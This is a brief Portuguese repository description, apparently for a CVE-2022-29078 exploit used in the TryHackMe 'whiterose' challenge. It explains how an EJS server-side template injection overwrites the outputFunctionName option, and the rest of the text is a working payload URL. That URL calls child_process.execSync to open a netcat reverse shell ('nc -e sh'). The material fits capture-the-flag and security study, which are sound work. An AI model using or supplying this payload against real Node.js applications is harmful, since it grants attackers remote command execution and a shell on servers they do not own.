l0n3m4n/cve-2022-29078Injeção de Template no Servidor (SSTI) RCE - desafio THM "whiterose"

Isso é interpretado como uma opção interna e sobrescreve a opção outputFunctionName com um comando arbitrário do SO (que é executado durante a compilação do template).
http://localhost:3000/page?id=2&settings[view options][outputFunctionName]=x;process.mainModule.require('child_process').execSync('nc -e sh 127.0.0.1 1337');s
